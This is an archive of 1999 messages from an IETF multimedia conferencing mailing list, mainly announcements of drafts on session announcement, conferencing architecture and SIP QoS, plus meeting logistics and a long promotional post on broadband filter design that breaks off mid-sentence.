	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA08791;
	Wed, 27 Oct 1999 08:40:30 -0400 (EDT)
Message-Id: <199910271240.IAA08791@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sap-v2-03.txt
Date: Wed, 27 Oct 1999 08:40:30 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Session Announcement Protocol
	Author(s)	: M. Handley,  C. Perkins, E. Whelan
	Filename	: draft-ietf-mmusic-sap-v2-03.txt
	Pages		: 16
	Date		: 26-Oct-99
	
This document describes version 2 of the multicast session directory
announcement protocol, SAP, and the related issues affecting security
and scalability that should be taken into account by the implementors
of multicast session directory tools.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sap-v2-03.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sap-v2-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sap-v2-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19991026145940.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sap-v2-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sap-v2-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19991026145940.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Oct 28 06:45:32 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA02575
	for confctrl-outgoing; Thu, 28 Oct 1999 06:45:32 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA02570
	for <confctrl@zephyr.isi.edu>; Thu, 28 Oct 1999 06:45:31 -0700 (PDT)
Received: from alpha.mcit.com (omzrelay01.mcit.com [199.249.19.243])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA15269
	for <confctrl@ISI.EDU>; Thu, 28 Oct 1999 06:45:30 -0700 (PDT)
Received: from ndcrelay2.mcit.com ([166.37.172.6])
 by firewall.mcit.com (PMDF V5.2-32 #38416)
 with ESMTP id <0FKB00J4TBYUHR@firewall.mcit.com> for confctrl@ISI.EDU; Thu,
 28 Oct 1999 12:28:07 +0000 (GMT)
Received: from omzmta02.mcit.com (omzmta02.mcit.com [166.37.194.120])
 by ndcrelay2.mcit.com (8.8.7/) with ESMTP	id MAA22161; Thu,
 28 Oct 1999 12:23:25 +0000 (GMT)
Received: from C25776A ([166.37.186.122])
 by omzmta02.mcit.com (InterMail v03.02.05 118 120)
 with SMTP id <19991028122801.OIHT2840@[166.37.186.122]>; Thu,
 28 Oct 1999 12:28:01 +0000
Date: Thu, 28 Oct 1999 07:27:58 -0500
From: Henry Sinnreich <henry.sinnreich@wcom.com>
Subject: New Internet Draft <draft-sinnreich-interdomain-sip-qos-osp-00.txt>
In-reply-to: <33E324D95F44D311AA3E00204840075B5500B5@zhard00e.europe.nortel.com>
To: sip@lists.research.bell-labs.com, confctrl@ISI.EDU
Message-id: <NBBBIIJFOKPMFOOILMBKMEJEEMAA.henry.sinnreich@wcom.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Content-type: text/plain;	charset="iso-8859-1"
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The following Internet Draft has been submitted and I count to be discussed:
<draft-sinnreich-interdomain-sip-qos-osp-00.txt>
for the SIP Working Group.

         Title           : Interdomain IP Communications with QoS,
                           Authorization and Usage Reporting
         Author(s)       : H.Sinnreich, S.Donovan, D.Rawlins, S.Thomas
         Filename        : draft-sinnreich-interdomain-sip-qos-osp-00.txt
         Pages           : 23
         Date            : October 22, 1999

Abstract
IP communications such as telephony may require quality of service
equal or better than available on digital circuit switched networks.
Service providers will ensure QoS only if authorization and payments
are supported across the domains where the communication is taking
place. The message exchange for session initiation, authorization,
policy support, QoS and usage reporting is more complex than the mes-
sage exchange for each of the protocols in part for these functions,
since session parameters have to be passed between messages. The
inter-process dependencies require interleaving of messages from the
different protocols in a certain sequence to pass on the required
parameters.

Policy based QoS is provided by RSVP enabled routers and mapped to
802 style LANs. RSVP aggregation is used for Differentiated Services
QoS across the backbone.

The present document provides the framework and examples of the mes-
sage exchange between clients and servers on networks of Internet
service providers or corporate networks across a common IP backbone.
Outsourcing to a clearinghouse of inter-domain authorization and
usage reporting is also shown.

The draft has been posted at
http://www.ietf.org/internet-drafts/draft-sinnreich-interdomain-sip-qos-osp-
00.txt

The pdf format of the draft is available from the web site
http://www.greycouncil.com/sip/drafts/ (with other sip drafts).

The URL is
http://www.greycouncil.com/sip/drafts/draft-interdomain-sip-qos-osp-00.pdf

Thanks, Henry

Henry Sinnreich
MCI WorldCom
400 International Parkway
Richardson, Texas 75081, USA


From confctrl-owner  Fri Oct 29 05:47:19 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA05604
	for confctrl-outgoing; Fri, 29 Oct 1999 05:47:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA05599
	for <confctrl@zephyr.isi.edu>; Fri, 29 Oct 1999 05:47:18 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA08931
	for <confctrl@isi.edu>; Fri, 29 Oct 1999 05:47:17 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA21857;
	Fri, 29 Oct 1999 08:47:13 -0400 (EDT)
Message-Id: <199910291247.IAA21857@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-confarch-02.txt
Date: Fri, 29 Oct 1999 08:47:12 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: The Internet Multimedia Conferencing Architecture
	Author(s)	: M. Handley, J. Crowcroft,  C. Bormann, J. Ott 
	Filename	: draft-ietf-mmusic-confarch-02.txt
	Pages		: 25
	Date		: 28-Oct-99
	
This document provides an overview of multimedia conferencing on the
Internet.  The protocols mentioned are specified elsewhere as RFCs,
Internet-Drafts, or ITU recommendations.  Each of these
specifications gives details of the protocol itself, how it works and
what it does.  This document attempts to provide the reader with an
overview of how the components fit together and of some of the
assumptions made, as well as some statement of direction for those
components still in a nascent stage.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-confarch-02.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-confarch-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-confarch-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19991028142242.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-confarch-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-confarch-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19991028142242.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Sat Oct 30 20:29:19 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA09841
	for confctrl-outgoing; Sat, 30 Oct 1999 20:29:19 -0700 (PDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA09836
	for <confctrl@zephyr.isi.edu>; Sat, 30 Oct 1999 20:29:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by boreas.isi.edu (8.8.7/8.8.6) with ESMTP id UAA22945
	for <confctrl@zephyr.isi.edu>; Sat, 30 Oct 1999 20:29:17 -0700 (PDT)
Received: from hotmail.com (law2-f228.hotmail.com [216.32.181.228])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA19228
	for <confctrl@isi.edu>; Sat, 30 Oct 1999 20:29:17 -0700 (PDT)
Received: (qmail 92088 invoked by uid 0); 31 Oct 1999 03:28:46 -0000
Message-ID: <19991031032846.92087.qmail@hotmail.com>
Received: from 212.188.128.23 by www.hotmail.com with HTTP;
	Sat, 30 Oct 1999 20:28:46 PDT
X-Originating-IP: [212.188.128.23]
From: "Amit Judge" <amit_judge@hotmail.com>
To: confctrl@ISI.EDU
Date: Sun, 31 Oct 1999 03:28:46 GMT
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

hi, I wonder if anyone can help me. I recently purchased a 32 MB RAM sim 
from a friend cheap. However evern since I've installed it a new message has 
appeared when booting up (just below the table of all the details of my 
computer), it reads:

WARNING: SPD not found at DIMM(S) 2

the 2, I'm assuming, refers to the slot the sim is in, namely the 2nd slot. 
Is this serious and what does it mean?

thank u 4 your time.

Please could u respond to the address below:

aj@dcs.qmw.ac.uk

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

From confctrl-owner  Tue Nov  2 10:10:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA02965
	for confctrl-outgoing; Tue, 2 Nov 1999 10:10:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA02960
	for <confctrl@zephyr.isi.edu>; Tue, 2 Nov 1999 10:10:32 -0800 (PST)
Received: from devonshire.cnchost.com (devonshire.concentric.net [207.155.248.12])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA12236
	for <confctrl@ISI.EDU>; Tue, 2 Nov 1999 10:10:31 -0800 (PST)
Received: from scott.metatel.office (metatel.ne.mediaone.net [24.128.100.134])
	by devonshire.cnchost.com
	id NAA29919; Tue, 2 Nov 1999 13:07:01 -0500 (EST)
	[ConcentricHost SMTP Relay 1.8]
Date: Tue, 2 Nov 1999 13:08:44 -0500 (EST)
From: Scott Petrack <scott.petrack@metatel.com>
X-Sender: scott.petrack@scott.metatel.office
To: e164-to-ip@lserv.vocaltec.com, enum@ietf.org
cc: sip@lists.research.bell-labs.com, confctrl@ISI.EDU
Subject: New ENUM WG and mailing list
Message-ID: <Pine.LNX.4.10.9911021233500.1560-100000@scott.metatel.office>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


ENUM (tElephone NUmber Mapping) has been chartered by the IESG as a WG. 
The description is as follows:

This working group will define a DNS-based architecture and protocols for
mapping a telephone number to a set of attributes (e.g. URLs) which can be
used to contact a resource associated with that number. 

The charter can be read at:
http://www.ietf.org/html.charters/enum-charter.html

A new ENUM mailing list has been set up, and is as of now the official
mailing list of the ENUM WG. The address is enum@ietf.org; to subscribe,
send mail to enum-request@ietf.org. The archive is at:
ftp://ftp.ietf.org/ietf-mail-archive/enum/ 

The e164-to-ip list remains the place for more general discussion of
things; the ENUM list is for the more restricted DNS-based work of ENUM.

You will NOT automatically be transferred from the e164-to-ip list to the
ENUM list, so please do this yourself.

The first WG meeting is scheduled for Monday in Washington. 

For people who were not involved when the WG was formed, it may be helpful
for me to state that this WG is restricted to a DNS-based solution. It is
not that other solutions are not possible or interesting to the IETF --
they are. But THIS working group is chartered to find out the
best possible DNS-based solution. It is certainly an important part of our
work to discover the limitations of DNS-based solutions (should there be
any ;-)). But solutions that are based on other architectures (IETF or
otherwise) are not within our scope.

We have lots of work to do, and very interesting work it is too. I am
looking forward to it, and hope you are too.

Scott


From confctrl-owner  Mon Nov  8 10:22:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA24287
	for confctrl-outgoing; Mon, 8 Nov 1999 10:22:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA24282
	for <confctrl@zephyr.isi.edu>; Mon, 8 Nov 1999 10:22:53 -0800 (PST)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA13371
	for <confctrl@isi.edu>; Mon, 8 Nov 1999 10:22:51 -0800 (PST)
Received: from klobs.informatik.uni-bremen.de (ruin.informatik.uni-bremen.de [134.102.224.52])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with SMTP id TAA24066
	for <confctrl@isi.edu>; Mon, 8 Nov 1999 19:23:07 +0100 (MET)
Message-Id: <199911081823.TAA24066@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Mon, 08 Nov 1999 19:21:00 +0100
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: MMUSIC Agenda for DC
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

here comes the final MMUSIC agenda for our meeting in DC,
Thursday, 1530-1730.

1530	Agenda Bashing
1535	Charter Discussion
1550	Conferencing Architecture
1555	SAPv2
1605	SDP / Scoping
1615	SDP Extensions for T.38
1625	Message Bus
1645	Capability Framework
1730	Adjourn		


Joerg



From confctrl-owner  Thu Nov 11 11:17:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA07553
	for confctrl-outgoing; Thu, 11 Nov 1999 11:17:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA07548
	for <confctrl@zephyr.isi.edu>; Thu, 11 Nov 1999 11:17:04 -0800 (PST)
Received: from enst.enst.fr (enst.enst.fr [137.194.2.16])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA18334
	for <confctrl@isi.edu>; Thu, 11 Nov 1999 11:17:00 -0800 (PST)
Received: from email.enst.fr (muse.enst.fr [137.194.2.33])
	by enst.enst.fr (8.9.1a/8.9.1) with ESMTP id UAA29791
	for <confctrl@isi.edu>; Thu, 11 Nov 1999 20:16:57 +0100 (MET)
Received: from enst.fr (lebesgue.enst.fr [137.194.34.111])
	by email.enst.fr (8.9.3/8.9.3) with ESMTP id UAA12600
	for <confctrl@isi.edu>; Thu, 11 Nov 1999 20:16:56 +0100 (MET)
Message-ID: <382B1628.43CB168A@enst.fr>
Date: Thu, 11 Nov 1999 20:16:56 +0100
From: goya <jesus.goya@enst.fr>
X-Mailer: Mozilla 4.08 [en] (X11; I; SunOS 5.6 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: (no subject)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




From confctrl-owner  Thu Nov 11 14:32:00 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA16605
	for confctrl-outgoing; Thu, 11 Nov 1999 14:32:00 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA16591
	for <confctrl@zephyr.isi.edu>; Thu, 11 Nov 1999 14:31:56 -0800 (PST)
Received: from pegasus.group5.co.uk (mailhost.group5.co.uk [193.128.238.226])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA22367
	for <confctrl@isi.edu>; Thu, 11 Nov 1999 14:31:54 -0800 (PST)
Received: from GK-Portable (unverified [130.128.21.64]) by pegasus.group5.co.uk
 (Rockliffe SMTPRA 2.1.5) with SMTP id <B0000879147@pegasus.group5.co.uk> for <confctrl@ISI.EDU>;
 Thu, 11 Nov 1999 22:20:21 +0000
Message-Id: <3.0.32.19991111222828.00a527a0@pop.dial.pipex.com>
X-Sender: xex41@pop.dial.pipex.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 11 Nov 1999 22:28:40 +0000
To: confctrl@ISI.EDU
From: Graham Klyne <GK@Dial.pipex.com>
Subject: CONNEG information
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Following discussion today in the Washinton meeting, here are URLs for
information about the CONNEG capability description framework:

The official IETF working group charter page:

  http://www.ietf.org/html.charters/conneg-charter.html

Some additional information, including a Java source code implementation of
parsing and feature set matching (i.e. common subset evaluation) of CONNEG
expressions is available at the IMC site:

  http://www.imc.org/ietf-medfree/

#g

------------
Graham Klyne
(GK@ACM.ORG)


From confctrl-owner  Mon Nov 15 08:37:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA11889
	for confctrl-outgoing; Mon, 15 Nov 1999 08:37:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA11882
	for <confctrl@zephyr.isi.edu>; Mon, 15 Nov 1999 08:37:32 -0800 (PST)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA24658
	for <confctrl@isi.edu>; Mon, 15 Nov 1999 08:37:31 -0800 (PST)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id KAA13918;
	Mon, 15 Nov 1999 10:36:11 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id KAA09760;
	Mon, 15 Nov 1999 10:36:11 -0600 (CST)
Received: from qpop.exu.ericsson.se (qpop [138.85.1.15]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA11404; Mon, 15 Nov 1999 10:36:07 -0600 (CST)
Received: from ericsson.com (pc194116.exu.ericsson.se [138.85.194.116])
	by qpop.exu.ericsson.se (8.9.1/8.9.1) with ESMTP id KAA01550;
	Mon, 15 Nov 1999 10:36:06 -0600 (CST)
Message-ID: <38303674.55D2135@ericsson.com>
Date: Mon, 15 Nov 1999 10:36:04 -0600
From: Ulf Andersson <ulf.andersson@ericsson.com>
Organization: Ericsson Inc
X-Mailer: Mozilla 4.04 [en] (Win95; I)
MIME-Version: 1.0
To: sip@lists.research.bell-labs.com, ensc-tia@sfu.ca,
        sip-implementors@cs.columbia.edu, confctrl@ISI.EDU,
        iptel@lists.research.bell-labs.com, eriietf@kk.ericsson.se
Subject: SIP Bake-off Deadline today!
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello!

This is a reminder that the deadline for registering for the
third SIP bake-off is today! I will extend it until tomorrow
as requested by a couple of groups.

If you plan to attend, please register ASAP at:
http://www.sipbakeoff.org

As of 10:21 am (CST) the registered participants are:

8x8
Pingtel Corp.
Catapult Communications
MCIWorldcom (3 teams)
Nortel Networks (2 teams)
Broadsoft
VTEL Corporation
Telogy Networks
Radcom Equipment, Inc
Nuera Communications
Ericsson (2 teams)
Dynamicsoft
Cisco Systems, Inc
E*Club (Carnegie Mellon University)
Hewlett-Packard Labs
3Com
OZ.COM
FacetCorp
IPCell Technologies

Regards,
Ulf

--
Ulf Andersson
Ericsson Inc          +1 972 583 7537        ulf.andersson@ericsson.com

---

Hello!

The third SIP bake-off will be hosted by Ericsson in Dallas, Texas,
December 6-8, 1999.

For information and registration please visit http://www.sipbakeoff.org.

The deadline for requesting special equipment and connections is October
30th. The deadline for general registration is November 15th.

Please note that the bake-off is open only to implementors with working
SIP implementations. It is not a trade show, public demonstration,
conference or workshop, and individual results of all testing will remain
confidential. A press release will be prepared at the end of the event to
announce the results.

Welcome!


Ulf Andersson
Ericsson Inc
ulf.andersson@ericsson.com
(972) 583-7537




From confctrl-owner  Mon Nov 22 02:24:31 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA26591
	for confctrl-outgoing; Mon, 22 Nov 1999 02:24:31 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA26586
	for <confctrl@zephyr.isi.edu>; Mon, 22 Nov 1999 02:24:29 -0800 (PST)
Received: from post.netchina.com.cn ([202.94.1.48])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id CAA10229
	for <confctrl@isi.edu>; Mon, 22 Nov 1999 02:23:21 -0800 (PST)
Received: (qmail 20475 invoked from network); 22 Nov 1999 10:25:03 -0000
Received: from ppp227.netchina.com.cn (HELO netchina.com.cn) (202.94.2.227)
  by 202.94.1.48 with SMTP; 22 Nov 1999 10:25:03 -0000
Message-ID: <3839192C.8970C86A@netchina.com.cn>
Date: Mon, 22 Nov 1999 18:21:35 +0800
From: Robert Tan <tjsh@netchina.com.cn>
Reply-To: tjsh@netchina.com.cn
Organization: Tan Junsheng
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: The title: Flash Bandwidth 1KHz to 100MHz
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The title: Flash Bandwidth 1KHz to 100MHz
  Digital Controlled Broadband
 Anti-alias & Reconstruction Filter

Dear Sir: This is my discussion article.

The details:
http://www.cnindex.net/~tjsh/Base_of_Broadband_Access.html
http://www.cnindex.net/~tjsh/Base_of_Broadband_Access.doc

Sincerely,

Robert Tan
11.22



Flash Bandwidth 1KHz to 100MHz
Digital Controlled Broadband
Anti-alias & Reconstruction Filter
The Next Era Web of Multimedia Data-stream
Transmission Solution of the Internet!

By Robert Tan
Update: 1999. 11. 22

For the many more format and definite of standard of digital film and
video, digital audio
and the other multimedia data stream of tomorrow, the existing network
technology including
the modern internet webs will be fabulous and difficult to transmit it
for us. The Endpoint
Congestion almost resistant our viewer area full of the entire world, We
would need the
straightway link of the multi-media data-stream in real-time for us.
Would you like to get a lower cost & more effective digital signal
channel in a wide-bandwidth
or broadband hybrid coax cable system? For the FTTX, HFC networks,
especially in the HFC
networks with the 256QAM or 64VSB digital modulation technology systems,
the SSB-ASK or the
VSB-ASK technology transmission systems would be used normally. The
Flash Bandwidth 1KHZ to
100MHz digital control a variable frequency bandwidth, it is
high-performance anti-alias &
reconstruction (FBW) filter, it will be able to provide a variable
multiplex sub-frequency
band in any broadband HFC system. With the FDM assistant digital carry
system and SSB or VSB
signal channel, a group of FBW filters will provide separate
multi-frequency bands in spectrum
without any cross talking and distortion by a large frequency range in a
high-speed high-
effective transmission system. In a FTTX or HFC web, this digital
controlled signal channel
would have a very large frequency spectrum changed dynamic range. For a
large client group,
such as the Broadband Cable Internet Access or HFC users, one of them
would like to get a
variable data speed according to the applications of his needed. It will
provide a lot of
digital control frequency bandwidth which is separated one another in
HFC transmission system,
and it will more effective for the "hot clients", such as the VOD video
clients or the other
high-code rate users and high-speed data stream user's applications. The
FBW will improve the
speed of the data stream, diminish the amount of the spare resource
seizing of "Cool Clients",
reduce the calculations of the DSP processor of the center web main
switching system and the
branch switching system. Reduce the CPU utilities of the applications in
all of client
communication adapter and its cost of produce is very important. The
"Cool Clients" mains
the IP telephone users or the other lower speed code rate audio
applications. Anyway, the
speed of the up-stream data and down-stream data speed could be changed
to any value you
needed, and the changing degree will be very smoothly and very simply in
writing one or
two bytes in the command system of communication web switcher. By the
high-speed frequency
variable characteristic, if the FBW filter were used in your FTTX or HFC
switching system,
the upward and downward data stream speed could be managed and attempted
by your command
system. So that, the transmission bandwidth will be able to adjusted to
your needed in any
time within one millionth second. The real-time will be very more
improved and more effective
on the communication main roads such as FTTX and HFC system,
transmission controlling system
will completely control the data stream in real-time.



Dear Technology Research and Development Administrator:
   I am an electronic engineer in the field of Analog and Digital
filters researching and
designing. I had been a DSP engineer for ten years. My development field
is electronic circuits
-- digital and analog hardware designing and researching in applications
of Digital Signal
Processing. My works contains the frequency spectrum analysis, digital
audio and digital video
systems, noise spectrum controlling and processing, and the other
military applications. I have
researched and designed several kind of analog and digital anti-alias &
reconstruction filters.
A few years before, in my R&D works, I find the special frequency of the
filters is usually
fixed, it could be very difficult to change the cutoff frequency of the
low-pass anti-alias
& reconstruction filter. But the fixed filter could not suit the target
of my technical
applications. If we want to get several special frequency of the
filters, we must to use
several different fixed filters or instead of fixed filter with
switching capacity filter
or digital filter, such as IIR or FIR filter, and their frequency must
be variable in order
to change the analysis frequency. It is very important for the spectrum
analysis system and
the digital random real time vibrated controlling system. But, in this
way, we must pay for
digital IIR or FIR filter, it is very expensive in the price, take a
large space for the DSP
chips and its outside memory banks to install it. So, we would get into
much troubles and
complex questions from a simple problem.
However, we have the switching capacity technologies, and the product of
up to 8th order
filters is a very normally used. But the switching capacity filter will
have a high noise
and low frequency range, and it has a non-exactly special frequency,
generally. The special
frequency of most of the switching capacity filters is from 1/95 to
1/105 times of its main
switching clock and it is difficult to improve its accuracy. Actually,
the switching capacity
filter circuit is very difficult to adjust and use in applications.
Anywise, its order is
normally below 8th order, and the special frequency and bandwidth of the
switching capacity
filters is below to 50KHz, and the amplitude response is not exactly
yet, the dynamic range
of the amplitude is very low, normally, it is below the 48dB. Except of
frequency range from
0 to 50Hz, in this field, its dynamic range is lower than 30 dB and not
usefully, it is
normally being used in the speech processing circuit and the other lower
frequency band
processing systems. Attention, all of this analysis is not including the
phase noise of the
main switching clock and the noise of clock feed through yet. The
others, it is difficult to
get much more analysis frequency bands or special frequency points for
the switching capacity
filters, it is especially for the higher frequency band which is
approached to the top
frequency point. All of these characteristics of the switching capacity
filters will restrict
its applications in the area of modern digital communications.
The others method of the filters designing is the contact-time analog
filter .I have found
some method. It could make many transfer functions. Such as the
elliptical function,
Chebyshev function and Butterworth function, but there is some
interesting things here,
it is that the same circuit frame could be built into many transfer
functions, and it
would have programmable (digital controlled) special frequency. Changing
special frequency
on line is available. It could get the very wide frequency range, very
quickly to change
the used band, and the digital controlled circuit is very directly and
simply, the special
frequency step is very smoothly (because the Frequency is controlled by
long bit Digital
multiplier). In that points, integrate the FBW filter circuit technology
is very useful
for the digital controlling and processing systems. Because of the
Digital Controlling
Flash Bandwidth Filer (FBW) is depend on a few chips of high quality 8
